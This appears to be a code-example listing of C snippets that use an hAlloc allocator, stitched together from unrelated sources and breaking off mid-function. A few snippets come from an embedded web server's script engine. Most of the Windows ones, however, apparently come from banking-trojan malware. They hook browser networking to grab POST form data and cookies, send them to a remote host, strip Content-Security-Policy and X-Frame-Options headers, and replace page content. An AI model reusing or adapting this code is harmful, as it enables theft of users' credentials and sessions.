Exemple #1
0
static int parseArgs(ej_t *ep, int state, int flags)
{
	int		tid, aid;

	a_assert(ep);

	do {
		state = parse(ep, STATE_RELEXP, flags);
		if (state == STATE_EOF || state == STATE_ERR) {
			return state;
		}
		if (state == STATE_RELEXP_DONE) {
			aid = hAlloc((void***) &ep->func->args);
			ep->func->args[aid] = bstrdup(B_L, ep->result);
			ep->func->nArgs++;
		}
/*
 *		Peek at the next token, continue if more args (ie. comma seen)
 */
		tid = ejLexGetToken(ep, state);
		if (tid != TOK_COMMA) {
			ejLexPutbackToken(ep, tid, ep->token);
		}
	} while (tid == TOK_COMMA);

	if (tid != TOK_RPAREN && state != STATE_RELEXP_DONE) {
		return STATE_ERR;
	}
	return STATE_ARG_LIST_DONE;
}
Exemple #2
0
static VOID IeReplaceStream(HINTERNET hRequest, PHANDLE_CONTEXT Ctx)
{
	ULONG	Written, bLen = 0;
	LPSTR	FileName, Buffer;
	HANDLE	hFile;

	ASSERT(Ctx->Flags & CF_CONTENT);
	ASSERT(Ctx->Url);

	ConfigProcessStream(Ctx->pStream, NULL, Ctx->Url, (StrStrI(Ctx->Url, szHttps) == Ctx->Url) ? TRUE : FALSE, Ctx->tCtx);		

	InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, NULL, &bLen);
	if ((bLen) && (FileName = hAlloc(bLen + 1)))
	{
		if (InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, FileName, &bLen))
		{
			FileName[bLen] = 0;
			hFile =  CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0);
			
			if (hFile != INVALID_HANDLE_VALUE)
			{
				if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE))
				{						
					StreamGotoBegin(Ctx->pStream);
					do
					{
						bLen = 0;
						CoInvoke(Ctx->pStream, Read, Buffer, MAX_CONTENT_BUFFER_SIZE, &bLen);

						if (bLen == 0)
							break;
	
						if (!WriteFile(hFile, Buffer, bLen, &Written, NULL) || (Written != bLen))
							break;
					} while(bLen == MAX_CONTENT_BUFFER_SIZE);

					hFree(Buffer);
				}	// if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE))
				CloseHandle(hFile);
			}	// if (hFile != INVALID_HANDLE_VALUE)
		}	// if (InternetQueryOption(
		hFree(FileName);
	}	// if ((bLen) && (FileName = hAlloc(bLen)))

}
Exemple #3
0
//
// Queries spesified request handle for a target URL, and sends specified data and URL to the active host.
//
static VOID	IeQueryUrlPostForms(
	HANDLE	hRequest,	// Request handle to query
	LPSTR	pHeaders,	// HTTP headers of the request
	PVOID	lpData,		// Form data
	ULONG	dwData		// Form data length (bytes)
	)
{
	BOOL bIsSsl = FALSE;

	if (dwData <= MAX_FORM_SIZE)
	{
		ULONG	dwBufLen = MAX_URL_LEN * sizeof(_TCHAR);
		LPTSTR	pUrl = (LPTSTR)hAlloc(dwBufLen);
		if (pUrl)
		{
			if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen))
			{
				if (StrStrI(pUrl, szHttps) == pUrl)
					bIsSsl = TRUE;

				if ((g_ClientId.Plugins & PG_BIT_FORMS) || 
#ifdef _ALWAYS_HTTPS
					(bIsSsl)
#else
					(FALSE)
#endif
					)
				{
					LPSTR pCookie, pHeaders1 = NULL;

					if (!pHeaders)
						// No request headers specified, trying to get them from the request handle
						pHeaders = pHeaders1 = TaransferGetRequestHeaders(hRequest);

					if (ConfigCheckInitUrl(pUrl, NULL, bIsSsl, NULL) != URL_STATUS_POST_BLOCK)
					{
						pCookie = IeGetCookie(pUrl);

						PostForms(pUrl, pHeaders, pCookie, lpData, dwData, SEND_ID_FORM, TRUE);

						if (pCookie)
							hFree(pCookie);
					}

					if (pHeaders1)
						hFree(pHeaders1);
				}	// if ((g_ClientId.Plugins & PG_BIT_FORMS) || (StrStrI(pUrl, szHttps) == pUrl))
			}	// if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen))
			hFree(pUrl);
		}	// if (pUrl)
	}	// if (dwData <= MAX_FORM_SIZE)
}
Exemple #4
0
int ejOpenEngine(sym_fd_t variables, sym_fd_t functions)
{
	ej_t	*ep;
	int		eid, vid;

	if ((eid = hAllocEntry((void***) &ejHandles, &ejMax, sizeof(ej_t))) < 0) {
		return -1;
	}
	ep = ejHandles[eid];
	ep->eid = eid;

/*
 *	Create a top level symbol table if one is not provided for variables and
 *	functions. Variables may create other symbol tables for block level
 *	declarations so we use hAlloc to manage a list of variable tables.
 */
	if ((vid = hAlloc((void***) &ep->variables)) < 0) {
		ejMax = hFree((void***) &ejHandles, ep->eid);
		return -1;
	}
	if (vid >= ep->variableMax) {
		ep->variableMax = vid + 1;
	}

	if (variables == -1) {
		ep->variables[vid] = symOpen(64) + EJ_OFFSET;
		ep->flags |= FLAGS_VARIABLES;
	} else {
		ep->variables[vid] = variables + EJ_OFFSET;
	}

	if (functions == -1) {
		ep->functions = symOpen(64);
		ep->flags |= FLAGS_FUNCTIONS;
	} else {
		ep->functions = functions;
	}

	ejLexOpen(ep);

/*
 *	Define standard constants
 */
	ejSetGlobalVar(ep->eid, T("null"), NULL);

#ifdef EMF
	ejEmfOpen(ep->eid);
#endif
	return ep->eid;
}
Exemple #5
0
static LPWSTR IeCreateContextModifyHeadersW(
	HINTERNET			hRequest,
	LPWSTR				lpszHeaders,
	DWORD				dwHeadersLength,
	LPSTR*				ppHeaders,
	PHANDLE_CONTEXT*	pCtx	
	)
{
	LPWSTR	NewHeaders = NULL;
	LPSTR	pHeaders = NULL, NewHeadersA;
	ULONG	Len;
	PHANDLE_CONTEXT	Ctx = NULL;

	if	((lpszHeaders) && (dwHeadersLength == -1))
	{
		Len = lstrlenW(lpszHeaders);

		if (pHeaders = hAlloc(Len + 1))
			wcstombs(pHeaders, lpszHeaders, Len + 1);
	}
	
	if (NewHeadersA = IeCreateContextModifyHeadersA(hRequest, pHeaders, dwHeadersLength, ppHeaders, &Ctx))
	{
		Len = lstrlenA(NewHeadersA);
		if (NewHeaders = hAlloc((Len + 1) * sizeof(WCHAR)))
			mbstowcs(NewHeaders, NewHeadersA, Len + 1);
		hFree(NewHeadersA);
	}

	if (pHeaders)
		hFree(pHeaders);

	if (pCtx)
		*pCtx = Ctx;

	return(NewHeaders);
}
Exemple #6
0
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//	Queries specified handle for the user Parser string and if successfull activates the Parser.
//  This function used only once, at browser startup.
//
static VOID IeActivateParser(HINTERNET hInternet)
{
	ULONG bSize = 0;
	InternetQueryOption(hInternet, INTERNET_OPTION_USER_AGENT, NULL, &bSize);
	if (bSize)
	{
		LPTSTR	AgentStr;
		if (AgentStr = (LPTSTR)hAlloc(bSize))
		{
			if (InternetQueryOption(hInternet, INTERNET_OPTION_USER_AGENT, AgentStr, &bSize))
				ActivateParser(AgentStr);
			hFree(AgentStr);
		}
	}
}
Exemple #7
0
//
//	Performs handle check and returns handle-associated context.
//
static PHANDLE_CONTEXT IeGetContext(HANDLE	hRequest)
{
	PHANDLE_CONTEXT Ctx = NULL;

	if (Ctx = FindHandle(hRequest))
	{
		if (!(Ctx->Flags & (CF_SKIP | CF_CONTENT)))
		{
			Ctx->Flags |= CF_SKIP;

			// Checking content type
			if ((Ctx->Flags & CF_REPLACE) || IeCheckContentType(hRequest))
			{
				ULONG	bLen = 0;
				ASSERT(Ctx->Url == NULL);

				// Querying the URL
				InternetQueryOption(hRequest, INTERNET_OPTION_URL, NULL, &bLen);
				if ((bLen) && (Ctx->Url = hAlloc(bLen + sizeof(_TCHAR))))
				{
					if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Ctx->Url, &bLen))
					{
						Ctx->Url[bLen] = 0;
						Ctx->Flags |= CF_CONTENT;
						Ctx->Flags ^= CF_SKIP;
					}
					else
					{
						hFree(Ctx->Url);
						Ctx->Url = NULL;
					}
				}	// if ((bLen) && (Ctx->Url = hAlloc(bLen + sizeof(_TCHAR))))
			}	// if (IeCheckContentType(hFile))
		}	// if (!(Ctx->Flags & (CF_SKIP | CF_CONTENT)))

		if (Ctx->Flags & CF_SKIP)
		{
			ReleaseHandle(Ctx);
			Ctx = NULL;
		}
	}	// if (Ctx = FindHandle(hFile))

	return(Ctx);
}
Exemple #8
0
int ejOpenBlock(int eid)
{
	ej_t	*ep;
	int		vid;

	if((ep = ejPtr(eid)) == NULL) {
		return -1;
	}

	if ((vid = hAlloc((void***) &ep->variables)) < 0) {
		return -1;
	}

	if (vid >= ep->variableMax) {
		ep->variableMax = vid + 1;
	}
	ep->variables[vid] = symOpen(64) + EJ_OFFSET;
	return vid;

}
Exemple #9
0
//
//	Returns Cookie string for the specified URL.
//
LPTSTR IeGetCookie(
	LPTSTR pUrl
	)
{
	LPTSTR	pCookie = NULL;
	ULONG	Size = 0;

	InternetGetCookie(pUrl, NULL, NULL, &Size); 
	if (Size && (pCookie = hAlloc(Size + sizeof(_TCHAR))))
	{
		if (!InternetGetCookie(pUrl, NULL, pCookie, &Size))
		{
			hFree(pCookie);
			pCookie = NULL;
		}
		else
			pCookie[Size] = 0;
	}	// if (Size && (pCookie = AppAlloc(Size * sizeof(_TCHAR))))

	return(pCookie);
}
Exemple #10
0
//
//	Checks the specified request if it contains supported content type.
//
static BOOL IeCheckContentType(
	HANDLE hRequest
	)
{
	BOOL	Ret	= FALSE;
	ULONG	bRead = 0;
	LPTSTR	Content;

	HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_TYPE, NULL, &bRead, NULL);

	if (Content = hAlloc(bRead + sizeof(_TCHAR)))
	{
		if (HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_TYPE, Content, &bRead, NULL))
		{
			Content[bRead] = 0;
			Ret = CheckContentType(Content);
		}
		hFree(Content);
	}	// if (Content = hAlloc(bRead))

	return(Ret);
}
Exemple #11
0
static VOID GetPageEx(PHANDLE_CONTEXT Ctx, HINTERNET hFile, DWORD_PTR dwContext)
{
	INTERNET_BUFFERS Buffers = {0};
	LPVOID pMem = hAlloc(MAX_CONTENT_BUFFER_SIZE);

	if (pMem)
	{
		Buffers.dwStructSize = sizeof(INTERNET_BUFFERS);
		Buffers.lpvBuffer = pMem;
		
		do
		{
			Buffers.dwBufferLength = MAX_CONTENT_BUFFER_SIZE;

			if (InternetReadFileEx(hFile, &Buffers, IRF_SYNC | IRF_NO_WAIT, dwContext))
			{
				ASSERT(Buffers.dwBufferLength <= MAX_CONTENT_BUFFER_SIZE);
				ASSERT(Buffers.dwBufferTotal <= MAX_CONTENT_BUFFER_SIZE);

				if (Buffers.dwBufferLength == 0)
				{
					Ctx->Status = LOADING_COMPLETE;
					break;
				}
				else
					CoInvoke(Ctx->pStream, Write, pMem, Buffers.dwBufferLength, NULL);

			}	// if (InternetReadFileEx(
			else
			{
				if (GetLastError() != ERROR_IO_PENDING)
					Ctx->Status = ERROR_WHILE_LOADING;
				break;
			}	// else // if (InternetReadFileEx(
		}while (TRUE);

		hFree(pMem);
	}	// 	if (pMem)
}
Exemple #12
0
sym_fd_t symOpen(int hash_size)
{
	sym_fd_t		sd;
	sym_tabent_t	*tp;

	a_assert(hash_size > 2);

/*
 *	Create a new handle for this symbol table
 */
	if ((sd = hAlloc((void***) &sym)) < 0) {
		return -1;
	}

/*
 *	Create a new symbol table structure and zero
 */
	if ((tp = (sym_tabent_t*) balloc(B_L, sizeof(sym_tabent_t))) == NULL) {
		symMax = hFree((void***) &sym, sd);
		return -1;
	}
	memset(tp, 0, sizeof(sym_tabent_t));
	if (sd >= symMax) {
		symMax = sd + 1;
	}
	a_assert(0 <= sd && sd < symMax);
	sym[sd] = tp;

/*
 *	Now create the hash table for fast indexing.
 */
	tp->hash_size = calcPrime(hash_size);
	tp->hash_table = (sym_t**) balloc(B_L, tp->hash_size * sizeof(sym_t*));
	a_assert(tp->hash_table);
	memset(tp->hash_table, 0, tp->hash_size * sizeof(sym_t*));

	return sd;
}
Exemple #13
0
int hAllocEntry(void ***list, int *max, int size)
#endif
{
	char_t	*cp;
	int		id;

	a_assert(list);
	a_assert(max);

#ifdef B_STATS
	if ((id = HALLOC(B_ARGS, (void***) list)) < 0) {
#else
	if ((id = hAlloc((void***) list)) < 0) {
#endif
		return -1;
	}

	if (size > 0) {
#ifdef B_STATS
		if ((cp = balloc(B_ARGS, size)) == NULL) {
#else
		if ((cp = balloc(B_L, size)) == NULL) {
#endif
			hFree(list, id);
			return -1;
		}
		a_assert(cp);
		memset(cp, 0, size);

		(*list)[id] = (void*) cp;
	}

	if (id >= *max) {
		*max = id + 1;
	}
	return id;
}
Exemple #14
0
//
//	Allocates a buffer and copies HTTP referer header value into it.
//
LPSTR	IeGetReferer(
	HINTERNET	hRequest
	)
{
	LPSTR	RefererPtr, pHeaders, pReferer = NULL;
	ULONG	Len;

	if (pHeaders = TaransferGetRequestHeaders(hRequest))
	{
		// Looking for the referer header
		if (RefererPtr = HttpFindHeaderA((LPSTR)pHeaders, szReferer, &Len))
		{
			// Allocating and copying the referer string
			if (pReferer = hAlloc(Len + sizeof(CHAR)))
			{
				memcpy(pReferer, RefererPtr, Len);
				pReferer[Len] = 0;
			}
		}
		hFree(pHeaders);
	}	// if (pHeaders = TaransferGetRequestHeaders(hRequest))

	return(pReferer);
}
Exemple #15
0
//
//	Searches for HTTP-headers within the specified context buffer.
//	Parses HTTP headers.
//
static VOID ContextParseHeaders(
	PPR_SOCKET	Ps,
	PHANDLE_CONTEXT	Ctx
	)
{
	HRESULT	hResult;	
	LPSTREAM pStream = Ctx->pStream;
	LPSTREAM pDataStream = Ctx->pReceiveStream;
	PHTTP_HEADERS	Headers = NULL;
	ULONG	SizeOfHeaders = 0;

	ASSERT(Ctx->cActive);
	ASSERT(Ctx->cActive == Ctx->cTotal);

	// Checking for HTTP reply headers, and avaliability of CRLF sequence
	// Currently only standard CRLF-devided headers are supported
	if (HttpIsReply(Ctx->cBuffer, Ctx->cTotal) && StrStrI(Ctx->cBuffer, szCRLF))
		// Loading data until we have whole HTTP header read, or buffer is full, or any error occured.
		SizeOfHeaders = BlockingReadHeaders(Ps, Ctx, TRUE);
	
	ASSERT(SizeOfHeaders <= MAX_CONTENT_BUFFER_SIZE);

	// Check out HTTP headers: we assume we have enough space to completely receive all headers.
	if (SizeOfHeaders && (Headers = HttpParseHeaders(Ctx->cBuffer, SizeOfHeaders)))
	{				
		PCHAR ContentType = HttpFindHeaderA(Headers->Binary, szContentType, NULL);

		Ctx->Flags = (Ctx->Flags & CF_REPLACE) | Headers->Flags;
		Ctx->Length = 0;

		// Check if the content should be completely replaced...
		if ((Ctx->Flags & CF_REPLACE) || 
			// ... or check out the content type
			((ContentType) && CheckContentType(ContentType)))
		{						
			PCHAR	nBuffer;
			ULONG	nSize;

			Ctx->Flags |= CF_CONTENT;
		
			ASSERT(Headers->HeadersSize <= Ctx->cTotal);
			Ctx->cActive = (Ctx->cTotal - Headers->HeadersSize);

			// Clear main data stream
			StreamClear(Ctx->pStream);
			// Clear content load stream
			StreamClear(Ctx->pReceiveStream);
			// Clear content grab stream
			StreamClear(Ctx->pStream1);

			// Removing "Content-Security-Policy" header
			if (nBuffer = HttpSetHeaderA(Headers->Binary, szSecPolicy, NULL, NULL))
			{
				hFree(Headers->Binary);
				Headers->Binary = nBuffer;
			}

			// Removing "X-Frame-Options" header
			if (nBuffer = HttpSetHeaderA(Headers->Binary, szXFrameOptions, NULL, NULL))
			{
				hFree(Headers->Binary);
				Headers->Binary = nBuffer;
			}

			// Looking for "Access-Control-Allow-Origin" header
			if (StrStrI(Headers->Binary, szAccessCtrlOrigin))
			{
				// Setting "Access-Control-Allow-Origin" value to "*"
				if (nBuffer = HttpSetHeaderA(Headers->Binary, szAccessCtrlOrigin, "*", NULL))
				{
					hFree(Headers->Binary);
					Headers->Binary = nBuffer;
				}
			}	// if (StrStrI(Headers->Binary, szAccessCtrlOrigin))

			// Check out if the content is not chunked or the page should be completely replaced
			if (!(Ctx->Flags & CF_CHUNKED) || (Ctx->Flags & CF_REPLACE))
			{
				ASSERT(!(Ctx->Flags & CF_CHUNKED) || !(Ctx->Flags & CF_LENGTH));
				
				// Checking if the page content will be replaced
				if (Ctx->Flags & CF_REPLACE)
				{					
					// Loading HTTP headers of the page to replace with
					if (GetReplaceHeaders(Ctx->tCtx, &nBuffer, &nSize) == NO_ERROR)
					{
						hFree(Headers->Binary);
						Headers->Binary = nBuffer;
						Headers->HeadersSize = nSize;
					}	// if (GetReplaceHeaders(Ctx->tCtx, &nBuffer, &nSize) == NO_ERROR)
					Ctx->Flags &= ~(CF_CHUNKED | CF_LENGTH);
					Ctx->ChunkSize = 1;
				}	// if (Ctx->Flags & CF_REPLACE)
				else
				{
					if (Ctx->Flags & CF_LENGTH)
					{
						// Content has specified length
						if ((Ctx->ChunkSize = Headers->ContentSize) == 0)
							// There's no HTTP content, nothing to process
							Ctx->Flags = 0;
					}
					else
						// There's no content length specified
						// Setting ChunkSize to indicate that we gonna continue loading data until the connection is closed.
						Ctx->ChunkSize = 1;
				}

				if (Ctx->Flags & CF_CONTENT)
				{
					// Setting "Transfer-encoding: chunked" header
					if (nBuffer = HttpSetHeaderA(Headers->Binary, szTransferEncoding, szChunked, NULL))
					{
						hFree(Headers->Binary);
						Headers->Binary = nBuffer;
					}

					// Removing "Content-length" header
					if (nBuffer = HttpSetHeaderA(Headers->Binary, szContentLength, NULL, NULL))
					{
						hFree(Headers->Binary);
						Headers->Binary = nBuffer;
					}

					// "Transfer-encoding: chunked" avaliable from HTTP version 1.1 only and version 1.0 will ignore it,
					//	so we have to replace HTTP version in reply to support chunked.
					ASSERT(Headers->Binary[5] == '1' && Headers->Binary[6] == '.');
					Headers->Binary[7] = '1';
				}	// if (Ctx->Flags & CF_CONTENT)
			}	// if (Ctx->Flags & CF_LENGTH)
			else
				// Content has no length specified
				Ctx->ChunkSize = 0;
#if _DEBUG 
			if (Ctx->pHeaders = hAlloc(Headers->HeadersSize + 1))
			{
				memcpy(Ctx->pHeaders, Headers->Binary, Headers->HeadersSize);
				Ctx->pHeaders[Headers->HeadersSize] = 0;
			}
#endif

			// Writing HTTP headers to the main stream
			hResult = CoInvoke(pStream, Write, Headers->Binary, lstrlen(Headers->Binary), NULL);
			ASSERT(hResult == S_OK);
			StreamGotoBegin(pStream);
		}	// if ((ContentType) && 
		else
			// Reseting context flags. We not gonna process it.
			Ctx->Flags = 0;

		HttpReleaseHeaders(Headers);
	}	// if (SizeOfHeaders && (Headers = HttpParseHeaders(Ctx->cBuffer, SizeOfHeaders)))
}
Exemple #16
0
//
//	Common PR_Write dispatch function.
//	Checks if the specified request has to be handled, initiates any replace-data receive and sends HTTP-form data.
//
LONG PRIO_Write(
	PPR_SOCKET	Ps,		// socket handle
	PCHAR		buf,	// buffer containing data to write
	LONG		amount	// number of bytes to write
	)
{
	LONG	bRet = 0, bSize = 0;
	PCHAR	nBuffer;
	PHANDLE_CONTEXT Ctx = NULL;
	PHTTP_HEADERS	Headers = NULL;


	do	// not a loop
	{	
		if (amount == 0)
			break;

		if (!HttpIsRequest(buf, amount))
		{
			Ctx = FindHandle(Ps->fd);
			break;
		}

		if (!(nBuffer = StrStrNA(buf, szEmptyStr, amount)))
			break;

		ASSERT(nBuffer >= buf && (nBuffer < (buf + amount)));
	
		if (!(Headers = HttpParseHeaders(buf, (cstrlen(szEmptyStr) + (ULONG)(nBuffer - buf)))))
			break;

		if (!g_UserAgentStr)
			ActivateParser(HttpQueryAgent(Headers));

		if (!(Headers->Url = HttpQueryUrl(Headers, (Ps->Flags & PR_SOCKET_FLAG_SSL))))
			break;

		if ((g_ClientId.Plugins & PG_BIT_FORMS) || 
#ifdef _ALWAYS_HTTPS
			(Ps->Flags & PR_SOCKET_FLAG_SSL)
#else
			(FALSE)
#endif
			)
		{
			// Collecting and saving POST forms
			if (Headers->ContentSize) //&& ((Headers->ContentSize + Headers->HeadersSize) <= amount))		
			{
				PCHAR ContType = HttpFindHeaderA(Headers->Binary, szContentType, NULL);
				// Checking for Online Certificate Status Protocol (OCSP) request, and ignoring it if found
				if (!StrStrI(ContType, szOCSP))
				{
					// Creating a Context to store form data
					if (Ctx = FfCheckAddHandle(Ps->fd, Headers, CF_FORM, (Ps->Flags & PR_SOCKET_FLAG_SSL)))
						Ctx->Length = Headers->ContentSize;
				}
			}
		}	// if (g_ClientId.Plugins & PG_BIT_FORMS)

		// Checking out the URL
		if (Ctx || (Ctx = FfCheckAddHandle(Ps->fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL))))
		{

			ASSERT((Ctx->Flags & ~(CF_FORM | CF_REPLACE)) == 0);

			if (Ctx->Status == REQUEST_BLOCKED)
			{
				bRet = -1;
				bSize = -1;
				(Ps->Api->SetError)(PR_CONNECT_RESET_ERROR, 0, Ps->Context);
				break;
			}

			if (Ctx->Flags & CF_REPLACE)
			{
#ifdef	_PATCH_REPLACE_HEADERS
				// Checking if this is a GET request
				if (*(PULONG)Headers->Binary == uGET)
					// Patching request URI to make an invalid HTTP request.
					// All request headers and data will be relpaced. We don't need to receive any data there.
					buf[5] = '%';
#endif
			}	// if (Ctx->Flags & CF_REPLACE)
			else
			{
				// Addinig "Accept-Encoding: identity" header
				if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity, NULL))
				{
					hFree(Headers->Binary);
					Headers->Binary = nBuffer;
				}	// if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity))
			}	// else // if (Ctx->Flags & CF_REPLACE)
		}	// if (Ctx || (Ctx = FfCheckAddHandle(fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL))))

		// Checking if headers were modified
		if ((bSize = lstrlenA(Headers->Binary)) != Headers->HeadersSize)
		{
			PCHAR	SendBuffer;
			if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize))
			{
				memcpy(SendBuffer, Headers->Binary, bSize);
				memcpy(SendBuffer + bSize, (buf + Headers->HeadersSize), (amount - Headers->HeadersSize));
				bSize += (amount - Headers->HeadersSize);

				if ((bRet = (Ps->Api->Write)(Ps->fd, SendBuffer, bSize, NULL)) > 0)
					bRet = amount;

				hFree(SendBuffer);
			}	// if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize))
		}
		else
			bSize = 0;

	} while(FALSE);

	if (bSize == 0)
		// Nothing was sent, doning it now
		bRet = (Ps->Api->Write)(Ps->fd, buf, amount, Ps->Context);

	if ((Ctx) && (Ctx->Length))
	{
		// Checking if data was successfully sent and there was any form data
		if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR))
		{

			HRESULT hResult;
			LONG Sent = amount;
			PCHAR FormData = buf;

			if (Headers)
			{
				Sent -= Headers->HeadersSize;
				FormData += Headers->HeadersSize;

				// Saving request headers to the HTTP context, we need them later while posting a form
				Ctx->pHeaders = Headers->Binary;
				Headers->Binary = NULL;
			}

			Sent = min(Sent, Ctx->Length);

			// Saving form data into the data stream
			hResult = CoInvoke(Ctx->pStream, Write, FormData, Sent, NULL);
			ASSERT(hResult == S_OK);

			// Checking if all form data was successfully transmited
			if ((Ctx->Length -= Sent) == 0)
			{
				// Sending form data to the active host
				Sent = StreamGetLength(Ctx->pStream);
				if (FormData = (PCHAR)hAlloc(Sent))
				{
					StreamGotoBegin(Ctx->pStream);
					hResult = CoInvoke(Ctx->pStream, Read, FormData, Sent, (PULONG)&Sent);
					ASSERT(hResult == S_OK);

					PostForms(Ctx->Url, Ctx->pHeaders, NULL, FormData, Sent, SEND_ID_FORM, TRUE);
					hFree(FormData);
				}
				StreamClear(Ctx->pStream);

				// Form was sent
				if (Ctx->Flags & CF_FORM)
					ReleaseHandle(Ctx);
			}
			ASSERT(Ctx->Length >= 0);
		}	// if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR))
		else
		{
			// Form was not sent, an error occured
			if (Ctx->Flags & CF_FORM)
				ReleaseHandle(Ctx);
		}
	}	// if ((Ctx) && (Ctx->Length))
	
	if (Headers)
		HttpReleaseHeaders(Headers);
	else
	{
		// Releasing Context (only if it was just found)
		if (Ctx)
			ReleaseHandle(Ctx);
	}
	
	return(bRet);
}
Exemple #17
0
//
//	Reads the speceifed reaquest's page synchronuosly.
//	Stores the page content into Ctx->pStream stream.
//
VOID ReadPageSync(
	PHANDLE_CONTEXT Ctx, 
	HINTERNET		hRequest
	)
{
	ULONG	bRead = 0;
	LPVOID	pMem = NULL;
	WINERROR Status;
	ULONG	Timeout = INFINITE;

	// There's a bug within WININET on XP:
	//	sometimes call to InternetReadFile() doesn't return INTERNET_STATUS_REQUEST_COMPLETE.
	//	To solve this we do not wait infinite on page load but use IE_WAIT_REQUEST_TIMEOUT instead.
	if (LOBYTE(LOWORD(g_SystemVersion)) <= 5)
		Timeout = IE_WAIT_REQUEST_TIMEOUT;

	if (pMem = hAlloc(MAX_CONTENT_BUFFER_SIZE))
	{
		do
		{
			if (!InternetReadFile(hRequest, pMem, MAX_CONTENT_BUFFER_SIZE, &bRead))
			{
				if (GetLastError() != ERROR_IO_PENDING)
				{
					Ctx->Status = ERROR_WHILE_LOADING;
					break;
				}

				Status = WaitForSingleObject(Ctx->AsyncEvent, Timeout);
				
				if (Status == WAIT_TIMEOUT)
				{
					ASSERT(LOBYTE(LOWORD(g_SystemVersion)) <= 5);
					break;
				}

				if (Status != WAIT_OBJECT_0 || Ctx->Status == ERROR_WHILE_LOADING)
				{			
					Ctx->Status = ERROR_WHILE_LOADING;
					break;
				}
			}

			if (bRead)
				CoInvoke(Ctx->pStream, Write, pMem, bRead, NULL);
			else
			{
				// InternetReadFile successed but number of bytes read is 0.
				// This means no more data avaliable to read.
				Ctx->Status = LOADING_COMPLETE;
				break;
			}

		} while (TRUE);

		hFree(pMem);
	}	// if (pMem = hAlloc(MAX_CONTENT_BUFFER_SIZE))
	else
		Ctx->Status = ERROR_WHILE_LOADING;

}
Exemple #18
0
//
//	Queries and checks specified request's URL. Creates a HANDLE_CONTEXT if the URL matches config settings.
//
static PHANDLE_CONTEXT	FfCheckAddHandle(
	HANDLE			Handle,		//	handle of a HTTP request to check
	PHTTP_HEADERS	Headers,	//	pointer to HTTP_HEADERS structure for the specfied request
	ULONG			Flags,		//	a combination of CF_XXX flags
	BOOL			IsSsl		//	TRUE if this is an SSL connection
	)
{
	PHANDLE_CONTEXT	Ctx = NULL;
	ULONG	Status;
	PVOID	tCtx = NULL;
	LPSTR	Referer = NULL;

	ASSERT_HTTP_HEADERS(Headers);
	ASSERT(Headers->Url);

	// Looking for referer header
	if (Headers->pReferer && Headers->RefererSize)
	{
		// Allocating and copying referer string
		if (Referer = hAlloc(Headers->RefererSize + sizeof(CHAR)))
		{
			memcpy(Referer, Headers->pReferer, Headers->RefererSize);
			Referer[Headers->RefererSize] = 0;
		}
	}

	Status = ConfigCheckInitUrl(Headers->Url, Referer, IsSsl, &tCtx);
	if ((Status || (Flags & CF_FORM)) && (Status != URL_STATUS_POST_BLOCK) && (Ctx = AddHandle(Handle)))
	{
		// Saving the URL for future use
		if (Ctx->Url)
		{
			// Handle seems to be reused, releasing URL
			hFree(Ctx->Url);
			Ctx->cTotal = 0;
			Ctx->cActive = 0;
			Ctx->Flags = Flags;
		}
		else
		{
			ASSERT(Ctx->Flags == 0);
		}

		if (Ctx->tCtx)
		{
			TransferReleaseContext(Ctx->tCtx);
			hFree(Ctx->tCtx);
			Ctx->tCtx = NULL;
		}

		Ctx->tCtx = tCtx;
		Ctx->Url = Headers->Url;

		if (Status == URL_STATUS_REPLACE)
			Ctx->Flags |= CF_REPLACE;
		else if (Status == URL_STATUS_BLOCK)
			Ctx->Status = REQUEST_BLOCKED;
		else 
		{
			if (Status == URL_STATUS_UNDEF)
			{
				ASSERT(Flags & CF_FORM);
				Ctx->Flags = CF_FORM;
			}
			Ctx->Status = UNKNOWN_STATUS;
		}

		Headers->Url = NULL;
	}	// if ((Status || (Flags & CF_FORM)) && (Ctx = AddHandle(Handle)))
	
	if (Referer)
		hFree(Referer);

	return(Ctx);
}
Exemple #19
0
//
//	Obtains target URL and referer from the specified request handle and HTTP headers string.
//	Checks URL and referer and creates handle context if needed.
//	Adds "Accept-Encoding: identity" header.
//
static LPSTR IeCreateContextModifyHeadersA(
	HINTERNET			hRequest,
	LPSTR				lpszHeaders,
	DWORD				dwHeadersLength,
	LPSTR*				ppHeaders,
	PHANDLE_CONTEXT*	pCtx
	)
{
	LPSTR	NewHeaders = NULL, pHeaders = NULL, pReferer = NULL;
	ULONG	Len;
	CHAR	OldChar;
	PHANDLE_CONTEXT	Ctx = NULL;


	// Check if we already have a context for the specified handle
	if (!(Ctx = FindHandle(hRequest)))
	{
		if	(lpszHeaders)
		{
			if (dwHeadersLength == -1)
				Len = lstrlenA(lpszHeaders);
			else
				Len = dwHeadersLength;

			if (pHeaders = hAlloc(Len + sizeof(CHAR)))
			{
				memcpy(pHeaders, lpszHeaders, Len);
				pHeaders[Len] = 0;
			}
		}	// if	(lpszHeaders)
		else
			pHeaders = TaransferGetRequestHeaders(hRequest);

		if (pHeaders)
		{
			if (pReferer = HttpFindHeaderA(pHeaders, szReferer, &Len))
			{
				OldChar = pReferer[Len];
				pReferer[Len] = 0;
			}
		}	// if (pHeaders)

		if (ppHeaders)
			*ppHeaders = pHeaders;

		// Creating a context for the handle
		if (Ctx = IeCheckAddHandle(hRequest, pReferer))
			SetCallback(hRequest, Ctx);

		if (pReferer)
			pReferer[Len] = OldChar;
	}	// if (!(Ctx = IeGetContext(hRequest)))
	else
